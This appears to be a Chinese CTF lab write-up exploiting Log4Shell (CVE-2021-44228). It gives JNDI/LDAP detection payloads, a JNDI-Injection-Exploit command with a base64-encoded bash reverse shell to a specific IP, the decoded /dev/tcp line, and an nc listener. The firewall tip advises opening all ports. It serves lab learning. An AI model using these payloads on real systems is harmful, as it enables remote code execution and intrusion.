春秋云镜 [CVE-2021-44228] wp

知识点

  • log4j2
    • 日志记录模块,为log4j的升级版
  • log4j2漏洞原理
    • 开放了lookup功能,在生成日志时,如果发现${}则会对其中的内容进行解析处理
    • 对于${}中的内容以冒号进行分界,前面为profix,后面为key,通过profix去找对应的lookup,通过lookup实例将key解析结果作为参数带回来,即lookup实现了内容解析的过程(远程拉取资源等)
    • 通过ldap远程连接服务下载为java class类型文件时会进行自动解析执行
  • 漏洞影响版本
    • 2.0 <= Apache log4j2 <= 2.14.1
  • 利用流程
    • 攻击者构造payload:${jndi:ldap://攻击机恶意文件地址}--->漏洞机解析并ldap恶意文件执行---》发送本地shell到攻击机
  • JNDI
    • 它是为JAVA应用程序提供命名和目录访问服务的API;即将java对象以某个名称绑定到一个容器中,方便查找和维护
  • ${}可利用形式

解题思路

题目地址:http://eci-2ze6tftmeqosrfzu5y49.cloudeci1.ichunqiu.com:8080/

由题目简介可以知道这是一个log4j2的漏洞,进入题目是一个提交框,点击发现是POST请求信息

通过BP抓包利用log4j2scan插件检测发现存在log4j2的漏洞(借助插件)

通过对该漏洞的了解,其原理是该日志记录组件在对日志进行分析时会对jndi接口数据进行解析,jndi为命名与目录接口,即方便调用其他服务器的资源到本地,如果调用资源为class类型则进行解析并执行

手动检测是否存在log4j2

利用到了dnslog进行检测,成功得到了目标java版本为1.8.0

构造payload:

检测是否存在漏洞:
${jndi:ldap://2b967323af.ipv6.1433.eu.org.}
通过漏洞带出java版本信息:
${jndi:ldap://${java:version}.2b967323af.ipv6.1433.eu.org.}

接下来,对漏洞进行利用

通过jndi注入工具生成恶意payload实现反弹shell

准备工作:

构造payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTMuNDYuMTMxLzc3NzcgMD4mMQ==}|{base64,-d}|bash" -A 106.53.46.131

上述程序执行后会生成一些恶意payload,通过发送即可获取shell

解析:生成一个本地shell并发送到目标主机和端口

bash -i >& /dev/tcp/106.53.46.131/7777 0>&1
加密后为
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTMuNDYuMTMxLzc3NzcgMD4mMQ==

在目标服务器上开启监听

nc -lvp 7777

构造输入payload(通过最上面代码生成)

ldap://106.53.46.131:1389/zskjyk
这个需要自己通过exp生成,不能直接使用,生成的payload会有好几个,根据之前得到了目标主机java版本为1.8.0,所以用1.8.0的这个payload,每次生成的可能都不一样,但是都能使用

成功获取了对方的设立了shell,继而找到了flag:flag{4f6f36ad-2ec7-40eb-a504-46e008025262}

修复建议:

注:刚领取的云服务器一定要去设置一下防火墙,添加一条规则,将指定端口进行开放,如果不知道需要用到哪些端口就全部开放,点击添加规则--》全部ipv4可访问--》端口设置ALL--》备注随便写--》点击确认;添加成功后正常进行操作就能成功反弹shell了,我在这儿卡了一天,默认防火墙是只允许外部访问指定的端口的,没设置的就是不能访问的,但是你内部是可以通过所有端口访问外部的,被卡了一天没找出问题真的很操蛋,好歹最后脑子反应过来了

10

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们,赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值